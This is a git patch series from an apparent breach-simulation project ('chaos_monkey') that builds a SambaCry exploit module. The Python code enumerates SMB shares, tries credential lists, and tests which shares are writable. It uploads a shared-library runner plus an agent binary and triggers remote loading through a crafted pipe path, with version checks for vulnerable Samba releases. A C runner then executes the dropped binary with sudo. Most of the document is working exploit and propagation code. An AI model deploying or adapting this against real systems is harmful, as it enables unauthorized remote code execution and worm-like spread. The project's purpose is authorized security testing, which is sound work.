b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h similarity index 100% rename from chaos_monkey/monkey_utils/monkey_runner.h rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h From 4ce1653c8fd9dd431b7a954bdf7f92c9109a943e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 30 Aug 2017 10:16:54 +0300 Subject: [PATCH 09/19] sambacry: Add support for using both architectures --- chaos_monkey/exploit/sambacry.py | 205 +++++++++++++----- chaos_monkey/monkey-linux.spec | 4 + chaos_monkey/monkey.spec | 4 + .../sambacry_monkey_runner/monkey_runner.c | 21 +- 4 files changed, 171 insertions(+), 63 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 5973b9f59..af0246184 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,6 +1,7 @@ from optparse import OptionParser from impacket.dcerpc.v5 import transport from os import path +import time from impacket.smbconnection import SMBConnection from impacket.smb import SessionError from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED @@ -9,78 +10,163 @@ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAnd FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA + +from exploit import HostExploiter +from exploit.tools import get_target_monkey +from smbfinger import SMB_SERVICE +from model import DROPPER_ARG +from tools import build_monkey_commandline +import monkeyfs +from config import WormConfiguration + __author__ = 'itay.mizeretz' # TODO: add documentation -# TODO: add author # TODO: add logs -# TODO: add exception handling + +# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py # TODO: remove /home/user # TODO: take all from config -FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user'] -RUNNER_FILENAME = "monkey_runner.so" +FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] +RUNNER_FILENAME_32 = "monkey_runner32.so" +RUNNER_FILENAME_64 = "monkey_runner64.so" COMMANDLINE_FILENAME = "monkey_commandline.txt" -MONKEY_FILENAME = "monkey" +MONKEY_FILENAME_32 = "monkey32" +MONKEY_FILENAME_64 = "monkey64" +MONKEY_COPY_FILENAME_32 = "monkey32_2" +MONKEY_COPY_FILENAME_64 = "monkey64_2" +SHARES_TO_NOT_CHECK = ["IPC$", "print$"] -def main(): - parser = OptionParser() - parser.add_option("-t", "--target", dest="target") - - (options, args) = parser.parse_args() - if options.target: - exploiter = SambaCryExploiter() - exploiter.exploit(options.target) - else: - parser.print_help() - -# TODO: inherit from HostExploiter -class SambaCryExploiter: +class SambaCryExploiter(HostExploiter): _target_os_type = ['linux'] def __init__(self): - self.module_binary = "" + pass - def exploit(self, ip): - self.assert_smb_version() - writable_shares = [] + def exploit_host(self, host, depth=-1, src_path=None): + self.is_vulnerable(host) + + writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + + # TODO: decide about ignoring src_path because of arc detection bug + src_path = src_path or get_target_monkey(host) + + for share in writable_shares_creds_dict: + self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) + + # TODO: config sleep time + time.sleep(5) + + for share in writable_shares_creds_dict: + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.trigger_module(smb_client, share) + smb_client.logoff() + + def clean_share(self, ip, share, creds): + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64, + MONKEY_FILENAME_32, MONKEY_FILENAME_64, + MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] + + for filename in file_list: + try: + smb_client.deleteFile(share, "\\%s" % filename) + except: + # Ignore exception to try and delete as much as possible + pass + smb_client.disconnectTree(tree_id) + smb_client.logoff() + + def get_writable_shares_creds_dict(self, ip): + # TODO: document + writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() + for credentials in credentials_list: smb_client = self.connect_to_server(ip, credentials) shares = self.list_shares(smb_client) + + # don't try shares we can already write to. + for writable_share in writable_shares_creds_dict: + if writable_share in shares: + shares.remove(writable_share) + for share in shares: - if self.upload_module(smb_client, share): - writable_shares.append(share) - self.trigger_module(smb_client, share) - # TODO: delete remains + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials + smb_client.logoff() + return writable_shares_creds_dict + def get_credentials_list(self): - # TODO: get credentials from config - return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + user_password_pairs = WormConfiguration.get_exploit_user_password_pairs() + credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + for user, password in user_password_pairs: + credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''}) + + return credentials_list def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - shares.remove("IPC$") + for share in SHARES_TO_NOT_CHECK: + if share in shares: + shares.remove(share) + return shares - def assert_smb_version(self): - # TODO: implement - pass + def is_vulnerable(self, host): + if not host.services.has_key(SMB_SERVICE): + return False + # TODO: check if version is supported + # smb_server_name = host.services[SMB_SERVICE].get('name') - def upload_module(self, smb_client, share): + return True + + def is_share_writable(self, smb_client, share): + # TODO: logs + #logging.debug('Checking %s for write access' % shareName) try: + #logging.debug('Connecting to share %s' % shareName) tree_id = smb_client.connectTree(share) - smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline) - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin) - smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin) - smb_client.disconnectTree(tree_id) - return True - except SessionError as e: - if str(e).find('STATUS_ACCESS_DENIED') >= 0: - return False - raise + except Exception as e: + return False + + try: + smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except Exception as e: + writable = False + pass + + smb_client.disconnectTree(tree_id) + + return writable + + def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + tree_id = smb_client.connectTree(share) + self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth)) + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: + self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read) + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: + self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read) + with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: + # TODO: Fix or postpone 32/64 architecture problem. + self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read) + self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read) + smb_client.disconnectTree(tree_id) + + def write_file_to_server(self, smb_client, share, file_name, file_handle): + smb_client.putFile(share, "\\%s" % file_name, file_handle.read) + file_handle.close() def connect_to_server(self, ip, credentials): """ @@ -119,29 +205,31 @@ class SambaCryExploiter: return True - - def generate_module_possible_paths(self, share_name): + @staticmethod + def generate_module_possible_paths(share_name): """ Generates array of possible paths :param share_name: Name of the share :return: Array of possible full paths to the module. """ - return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS) + possible_paths_32 =\ + (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS) + possible_paths_64 = \ + (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS) + return possible_paths_32 + possible_paths_64 @staticmethod - def get_monkey_bin(): - # TODO - pass + def get_monkey_runner_bin_file(is_32bit): + # TODO: get from config + if is_32bit: + return open("sc_monkey_runner32.so", "rb") + else: + return open("sc_monkey_runner64.so", "rb") + @staticmethod - def get_monkey_runner_bin(): - # TODO - pass - - @staticmethod - def get_monkey_commandline(): - # TODO - pass + def get_monkey_commandline_supplier(host, depth): + return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # @@ -224,7 +312,4 @@ class SambaCryExploiter: return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) - -if __name__=="__main__": - main() \ No newline at end of file + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) \ No newline at end of file diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 16e88810d..d11f999f5 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -14,6 +14,10 @@ a = Analysis(['main.py'], win_no_prefer_redirects=None, win_private_assemblies=None, cipher=block_cipher) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE(pyz, diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 96c811efd..8e004145b 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -7,6 +7,10 @@ a = Analysis(['main.py'], hookspath=None, runtime_hooks=None) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] if platform.architecture()[0] == "32bit": diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c index e83ad82dc..4938fb783 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c @@ -6,16 +6,31 @@ #include "monkey_runner.h" +#if __x86_64__ + #define ARC_IS_64 +#endif + +#if _____LP64_____ + #define ARC_IS_64 +#endif + #define LINE_MAX_LENGTH (2048) #define MAX_PARAMETERS (30) int samba_init_module(void) { - const char RUNNER_FILENAME[] = "monkey_runner.so"; +#if ARC_IS_64 + const char RUNNER_FILENAME[] = "monkey_runner64.so"; + const char MONKEY_NAME[] = "monkey64"; + const char MONKEY_COPY_NAME[] = "monkey64_2"; +#else + const char RUNNER_FILENAME[] = "monkey_runner32.so"; + const char MONKEY_NAME[] = "monkey32"; + const char MONKEY_COPY_NAME[] = "monkey32_2"; +#endif + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char ACCESS_MODE_STRING[] = "0777"; - const char MONKEY_NAME[] = "monkey"; - const char MONKEY_COPY_NAME[] = "monkey2"; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; From 194ed624c276eb8f1e08a9002df81b134186d261 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 17:50:55 +0300 Subject: [PATCH 10/19] sambacry almost working e2e --- chaos_monkey/config.py | 5 +- chaos_monkey/exploit/__init__.py | 1 + chaos_monkey/exploit/sambacry.py | 204 ++++++++++++------ chaos_monkey/exploit/tools.py | 5 +- .../sambacry_monkey_runner/build.sh | 4 +- .../{monkey_runner.c => sc_monkey_runner.c} | 37 +++- .../{monkey_runner.h => sc_monkey_runner.h} | 0 7 files changed, 172 insertions(+), 84 deletions(-) rename chaos_monkey/monkey_utils/sambacry_monkey_runner/{monkey_runner.c => sc_monkey_runner.c} (79%) rename chaos_monkey/monkey_utils/sambacry_monkey_runner/{monkey_runner.h => sc_monkey_runner.h} (100%) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a9007edb3..659f26120 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -1,7 +1,8 @@ import os import sys from network.range import FixedRange, RelativeRange, ClassCRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\ + SambaCryExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta from itertools import product @@ -141,7 +142,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits - SSHExploiter, ShellShockExploiter # Linux + SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux ] # how many victims to look for in a single scan iteration diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1063e256d..1b12afd2f 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -20,3 +20,4 @@ from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter +from sambacry import SambaCryExploiter diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index af0246184..cdee14dd8 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -2,7 +2,12 @@ from optparse import OptionParser from impacket.dcerpc.v5 import transport from os import path import time +import sys +from io import BytesIO +import logging +import re from impacket.smbconnection import SMBConnection +import impacket.smbconnection from impacket.smb import SessionError from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_SUCCESS @@ -13,42 +18,46 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ from exploit import HostExploiter from exploit.tools import get_target_monkey -from smbfinger import SMB_SERVICE +from network.smbfinger import SMB_SERVICE from model import DROPPER_ARG from tools import build_monkey_commandline import monkeyfs -from config import WormConfiguration __author__ = 'itay.mizeretz' # TODO: add documentation -# TODO: add logs # TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py # TODO: remove /home/user # TODO: take all from config FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] -RUNNER_FILENAME_32 = "monkey_runner32.so" -RUNNER_FILENAME_64 = "monkey_runner64.so" +RUNNER_FILENAME_32 = "sc_monkey_runner32.so" +RUNNER_FILENAME_64 = "sc_monkey_runner64.so" COMMANDLINE_FILENAME = "monkey_commandline.txt" MONKEY_FILENAME_32 = "monkey32" MONKEY_FILENAME_64 = "monkey64" MONKEY_COPY_FILENAME_32 = "monkey32_2" MONKEY_COPY_FILENAME_64 = "monkey64_2" +RUNNER_RESULT_FILENAME = "monkey_runner_result" SHARES_TO_NOT_CHECK = ["IPC$", "print$"] +LOG = logging.getLogger(__name__) + class SambaCryExploiter(HostExploiter): _target_os_type = ['linux'] def __init__(self): - pass + self._config = __import__('config').WormConfiguration def exploit_host(self, host, depth=-1, src_path=None): - self.is_vulnerable(host) + if not self.is_vulnerable(host): + return writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + LOG.info("Writable shares and their credentials on host %s: %s" % + (host.ip_addr, str(writable_shares_creds_dict))) # TODO: decide about ignoring src_path because of arc detection bug src_path = src_path or get_target_monkey(host) @@ -59,30 +68,64 @@ class SambaCryExploiter(HostExploiter): # TODO: config sleep time time.sleep(5) + successfully_triggered_shares = [] + for share in writable_shares_creds_dict: - self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) + if trigger_result is not None: + successfully_triggered_shares.append((share, trigger_result)) + # TODO: uncomment + #self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + # TODO: send telemetry + + if len(successfully_triggered_shares) > 0: + LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + return True + else: + LOG.info("No shares triggered successfully on host %s" % host.ip_addr) + return False def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): - smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) - self.trigger_module(smb_client, share) - smb_client.logoff() + try: + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.trigger_module(smb_client, share) + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64, + file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, + RUNNER_FILENAME_32, RUNNER_FILENAME_64, MONKEY_FILENAME_32, MONKEY_FILENAME_64, MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] for filename in file_list: try: smb_client.deleteFile(share, "\\%s" % filename) - except: + except (impacket.smbconnection.SessionError, SessionError): # Ignore exception to try and delete as much as possible pass smb_client.disconnectTree(tree_id) - smb_client.logoff() + smb_client.close() + + def get_trigger_result(self, ip, share, creds): + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_content = None + try: + file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_content = smb_client.readFile(tree_id, file_id) + smb_client.closeFile(tree_id, file_id) + except (impacket.smbconnection.SessionError, SessionError) as e: + pass + + smb_client.disconnectTree(tree_id) + smb_client.close() + return file_content def get_writable_shares_creds_dict(self, ip): # TODO: document @@ -90,24 +133,28 @@ class SambaCryExploiter(HostExploiter): credentials_list = self.get_credentials_list() for credentials in credentials_list: - smb_client = self.connect_to_server(ip, credentials) - shares = self.list_shares(smb_client) + try: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) - # don't try shares we can already write to. - for writable_share in writable_shares_creds_dict: - if writable_share in shares: - shares.remove(writable_share) + # don't try shares we can already write to. + for writable_share in writable_shares_creds_dict: + if writable_share in shares: + shares.remove(writable_share) - for share in shares: - if self.is_share_writable(smb_client, share): - writable_shares_creds_dict[share] = credentials + for share in shares: + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials - smb_client.logoff() + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + # If failed using some credentials, try others. + pass return writable_shares_creds_dict def get_credentials_list(self): - user_password_pairs = WormConfiguration.get_exploit_user_password_pairs() + user_password_pairs = self._config.get_exploit_user_password_pairs() credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] for user, password in user_password_pairs: @@ -124,26 +171,45 @@ class SambaCryExploiter(HostExploiter): return shares def is_vulnerable(self, host): - if not host.services.has_key(SMB_SERVICE): + if SMB_SERVICE not in host.services: + LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) return False - # TODO: check if version is supported - # smb_server_name = host.services[SMB_SERVICE].get('name') - return True + pattern = re.compile(r'\d*\.\d*\.\d*') + smb_server_name = host.services[SMB_SERVICE].get('name') + samba_version = "unknown" + pattern_result = pattern.search(smb_server_name) + is_vulnerable = False + if pattern_result is not None: + samba_version = smb_server_name[pattern_result.start():pattern_result.end()] + samba_version_parts = samba_version.split('.') + if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % + (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) + + return is_vulnerable def is_share_writable(self, smb_client, share): - # TODO: logs - #logging.debug('Checking %s for write access' % shareName) + LOG.debug('Checking %s for write access' % share) try: - #logging.debug('Connecting to share %s' % shareName) tree_id = smb_client.connectTree(share) - except Exception as e: + except (impacket.smbconnection.SessionError, SessionError): return False try: smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) writable = True - except Exception as e: + except (impacket.smbconnection.SessionError, SessionError): writable = False pass @@ -153,20 +219,21 @@ class SambaCryExploiter(HostExploiter): def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): tree_id = smb_client.connectTree(share) - self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth)) + + with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: + smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) + with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: # TODO: Fix or postpone 32/64 architecture problem. - self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read) - self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read) - smb_client.disconnectTree(tree_id) + smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) - def write_file_to_server(self, smb_client, share, file_name, file_handle): - smb_client.putFile(share, "\\%s" % file_name, file_handle.read) - file_handle.close() + smb_client.disconnectTree(tree_id) def connect_to_server(self, ip, credentials): """ @@ -176,7 +243,8 @@ class SambaCryExploiter(HostExploiter): :return: SMBConnection object representing the connection """ smb_client = SMBConnection(ip, ip) - smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + smb_client.login( + credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client def trigger_module(self, smb_client, share_name): @@ -192,18 +260,21 @@ class SambaCryExploiter(HostExploiter): Tries triggering module by path :param smb_client: smb client object :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" - :return: False on unexpected exception. True otherwise + :return: True if might triggered successfully, False otherwise. """ try: # the extra / on the beginning is required for the vulnerability self.openPipe(smb_client, "/" + module_path) - except SessionError as e: + except (impacket.smbconnection.SessionError, SessionError) as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: - return False + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + return True + else: + # TODO: remove print + print str(e) - return True + return False @staticmethod def generate_module_possible_paths(share_name): @@ -212,30 +283,29 @@ class SambaCryExploiter(HostExploiter): :param share_name: Name of the share :return: Array of possible full paths to the module. """ - possible_paths_32 =\ - (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS) - possible_paths_64 = \ - (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS) - return possible_paths_32 + possible_paths_64 + possible_paths = [] + + for folder_path in FOLDER_PATHS_TO_GUESS: + for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: + possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) + return possible_paths @staticmethod def get_monkey_runner_bin_file(is_32bit): - # TODO: get from config if is_32bit: - return open("sc_monkey_runner32.so", "rb") + return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") else: - return open("sc_monkey_runner64.so", "rb") + return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") @staticmethod - def get_monkey_commandline_supplier(host, depth): - return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1) + def get_monkey_commandline_file(host, depth, location): + return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - - def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, - impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, - createContexts=None): + def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): packet = smb_client.getSMBServer().SMB_PACKET() packet['Command'] = SMB2_CREATE @@ -283,9 +353,7 @@ class SambaCryExploiter(HostExploiter): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') - # TODO: uncomment - #logging.info('Final path to load is %s' % pathName) - #logging.info('Triggering bug now, cross your fingers') + LOG.debug('Triggering path: %s' % pathName) if smb_client.getDialect() == SMB_DIALECT: _, flags2 = smb_client.getSMBServer().get_flags() @@ -312,4 +380,4 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) \ No newline at end of file + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index b6cee68ac..2ed5837f9 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -443,7 +443,7 @@ def get_target_monkey(host): return monkey_path -def build_monkey_commandline(target_host, depth): +def build_monkey_commandline(target_host, depth, location=None): from config import WormConfiguration, GUID cmdline = "" @@ -458,6 +458,9 @@ def build_monkey_commandline(target_host, depth): cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + return cmdline diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh index 958a2588c..d1cfd5545 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -1,2 +1,2 @@ -gcc -c -Wall -Werror -fpic monkey_runner.c -gcc -shared -o monkey_runner.so monkey_runner.o \ No newline at end of file +gcc -c -Wall -Werror -fpic sc_monkey_runner.c +gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c similarity index 79% rename from chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 4938fb783..4f65298e0 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -4,13 +4,13 @@ #include #include -#include "monkey_runner.h" +#include "sc_monkey_runner.h" -#if __x86_64__ +#ifdef __x86_64__ #define ARC_IS_64 #endif -#if _____LP64_____ +#ifdef _____LP64_____ #define ARC_IS_64 #endif @@ -19,16 +19,16 @@ int samba_init_module(void) { -#if ARC_IS_64 - const char RUNNER_FILENAME[] = "monkey_runner64.so"; +#ifdef ARC_IS_64 + const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char MONKEY_NAME[] = "monkey64"; const char MONKEY_COPY_NAME[] = "monkey64_2"; #else - const char RUNNER_FILENAME[] = "monkey_runner32.so"; + const char RUNNER_FILENAME[] = "sc_monkey_runner32.so"; const char MONKEY_NAME[] = "monkey32"; const char MONKEY_COPY_NAME[] = "monkey32_2"; #endif - + const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char 